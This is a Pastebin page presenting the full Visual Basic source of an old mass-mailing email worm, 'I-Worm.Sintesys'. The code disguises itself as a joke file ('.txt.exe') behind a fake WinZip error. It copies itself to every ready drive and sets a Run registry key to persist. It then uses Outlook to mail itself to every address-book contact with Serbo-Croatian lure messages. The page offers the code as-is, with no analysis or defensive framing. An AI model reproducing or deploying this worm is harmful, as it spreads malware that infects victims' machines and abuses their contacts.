Advertisement
FlyFar

Email-Worm.Win32.Sint - Source Code

Jul 8th, 2023
1,666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 2.13 KB | Cybersecurity | 0 0
  1. Private Sub Command1_Click()
  2. Call Form_Load
  3. MsgBox "CRC error: 234#21", vbCritical, "WinZip SelfExtractor: Warning"
  4. End
  5. End Sub
  6. Private Sub Form_Load()
  7. Const jedan = 1
  8. x = x + jedan
  9. Dim fso, vhost
  10. Set fso = CreateObject("Scripting.FilesystemObject")
  11. vhost = "C:\Windows\Vicevi_teza_odvala.txt.exe"
  12. If fso.FileExists(vhost) = False Then
  13. fso.copyfile App.Path & "\" & App.EXEName & ".exe", vhost, 1
  14. End If
  15. Set sDrajv = fso.Drives
  16. For Each s In sDrajv
  17. If s.drivetype = 1 Or 3 Then
  18. If s.drivetype = 4 Then GoTo dalje '...u slucaju da je CD-ROM (read-only)
  19. If s.isready = True Then
  20. fso.copyfile vhost, s.driveletter & ":\", True
  21. End If
  22. End If
  23. Next s
  24. dalje:
  25. Dim poruka(0 To 3)
  26. poruka(0) = "Cao! Izvini sto te uznemiravam ovako, ali evo saljem ti neke viceve koji cete sigurno oraspoloziti!"
  27. poruka(1) = "Vozdra! Evo pogledaj ove viceve koje sam i ja dobio neki dan! Pravo su smijesni!"
  28. poruka(2) = "Cao korisnice! Znam da sigurno nemas vremena da pogledas ove viceve koje ti saljem. Nadam se da ces imati vremena da ih pogledas!"
  29. poruka(3) = "Zdravo! Nemoram ti nista pricati...samo pogledaj ovu veliku kolekciju viceva ;)"
  30. If fso.FileExists("c:\windows\system\Vicevi_teza_odvala.txt.exe") = False Then
  31. fso.copyfile App.Path & "\" & App.EXEName & ".exe", "c:\windows\system\Vicevi_teza_odvala.txt.exe", 1
  32. End If
  33. Dim Wshs
  34. Set Wshs = CreateObject("WScript.Shell")
  35. Wshs.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Sintesys", "c:\windows\system\Vicevi_teza_odvala.txt.exe"
  36. Dim a, b, c
  37. Set a = CreateObject("Outlook.Application")
  38. Set b = a.getnamespace("MAPI")
  39. If a = "Outlook" Then
  40. b.Logon "profile", "password"
  41. For f = 1 To b.addresslists.Count
  42.     For d = 1 To b.addresslists(f).addressentries.Count
  43.         With a.createitem(0)
  44.         Set g = b.addresslists(f).addressentries(d)
  45.         .Recipients.Add g
  46.         .Subject = "Vicevi!"
  47.         .body = poruka(Int(Rnd(1) * 4))
  48.         .Attachments.Add "C:\Windows\Vicevi_teza_odvala.txt.exe"
  49.         .send
  50.         End With
  51.         g = ""
  52.     Next d
  53. Next f
  54. b.logoff
  55. End If
  56. End Sub
  57. 'I-Worm.Sintesys by e[ax]
  58. 'EBVL (c) 2K
  59. '"Kad sve izgleda da umire ono se ustvari radja"
Tags: email vbs worm
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement